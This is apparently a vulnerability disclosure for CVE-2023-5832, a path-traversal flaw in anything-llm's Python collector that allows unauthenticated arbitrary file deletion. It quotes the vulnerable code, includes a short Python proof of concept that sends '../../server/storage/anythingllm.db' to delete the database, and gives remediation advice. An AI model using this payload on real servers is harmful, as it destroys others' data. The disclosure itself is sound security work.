CVE-2023-5832: Improper input validation leads to arbitrary file deletion in anything-llm

Description

The /process endpoint of the python API (in collector/api.py) exposes an endpoint waiting for a POST request with a parameter named filename :

@api.route("/process", methods=["POST"])
def process_file():
    content = request.json
    target_filename = content.get("filename")
    print(f"Processing {target_filename}")
    success, reason = process_single(WATCH_DIRECTORY, target_filename)
    return json.dumps(
        {"filename": target_filename, "success": success, "reason": reason}
    )

Then, the filename is passed to the process_single function :

def process_single(directory, target_doc):
  if os.path.isdir(f"{directory}/{target_doc}") or target_doc in RESERVED: return (False, "Not a file")
  
  if os.path.exists(f"{directory}/{target_doc}") is False: 
    print(f"{directory}/{target_doc} does not exist.")
    return (False, f"{directory}/{target_doc} does not exist.")

  filename, fileext = os.path.splitext(target_doc)
  if filename in ['.DS_Store'] or fileext == '': return False
  if fileext == '.lock':
    print(f"{filename} is locked - skipping until unlocked")
    return (False, f"{filename} is locked - skipping until unlocked")

  if fileext not in FILETYPES.keys():
    print(f"{fileext} not a supported file type for conversion. It will not be processed.")
    move_source(new_destination_filename=target_doc, failed=True, remove=True)
    return (False, f"{fileext} not a supported file type for conversion. It will not be processed.")

If filename HAS a file extension and that extension IS NOT among theses extensions :

FILETYPES = {
    '.txt': as_text,
    '.md': as_markdown,
    '.pdf': as_pdf,
    '.docx': as_docx,
    '.odt': as_odt,
    '.mbox': as_mbox, 
}

and if the filename points to an existing file, the following function is called (with failed=True, remove=True) :

def move_source(working_dir='hotdir', new_destination_filename='', failed=False, remove=False):
    if remove and os.path.exists(f"{working_dir}/{new_destination_filename}"):
        print(f"{new_destination_filename} deleted from filesystem")
        os.remove(f"{working_dir}/{new_destination_filename}")
        return

Thus, the file is deleted.

However, since the parameter filename is not sanitized against PATH TRAVERSAL, a filename such as …/…/server/storage/anythingllm.db can be used to remove the database of the website.

Proof of Concept

# PoC.py
import requests

if __name__ == "__main__":
    server_ip = "127.0.0.1"
    file_to_delete = "../../server/storage/anythingllm.db"

    data = {"filename" : file_to_delete}
    requests.post(f"http://{server_ip}:8888/process", json=data)

Remediation****User input should be sanitized

For file name parameters, Flask implement a function named secure_filename to manage filename securely, documentation can be found here. The function os.path.basename could also be used.

Moreover, it may be a better practice to use os.path.join instead of concatenating strings using +.

Python API should only listen on loopback interface

In the documentation (collector/README.md), the following command is mentioned to run the Python API :

flask run --host '0.0.0.0' --port 8888

However, simply listening on 127.0.0.1 should be enough. The docker version seems ‘safe’ because only the port 3001 is exposed to the host (however it is still reachable from the docker0 interface on the host, but the attacker would need to be logged in the server).
But using the manual installation method, it may results in a Python API exposed to the internet. Here is an example of an instance exposed to the Internet on shodan :

Impact

This vulnerability allows an unauthenticated attacker to delete almost any file, such as the server database.

Occurrences